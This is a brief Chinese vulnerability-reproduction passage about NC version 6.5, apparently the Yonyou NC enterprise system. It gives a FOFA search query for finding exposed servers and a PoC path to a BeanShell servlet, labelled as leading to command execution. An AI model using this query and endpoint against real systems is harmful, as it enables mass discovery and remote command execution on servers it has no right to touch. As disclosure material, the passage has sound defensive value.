0x02 影响版本

NC6.5版本

0x03 漏洞复现

FOFA语句:

icon_hash="1085941792"

执行命令

PoC:

/servlet/~ic/bsh.servlet.BshServlet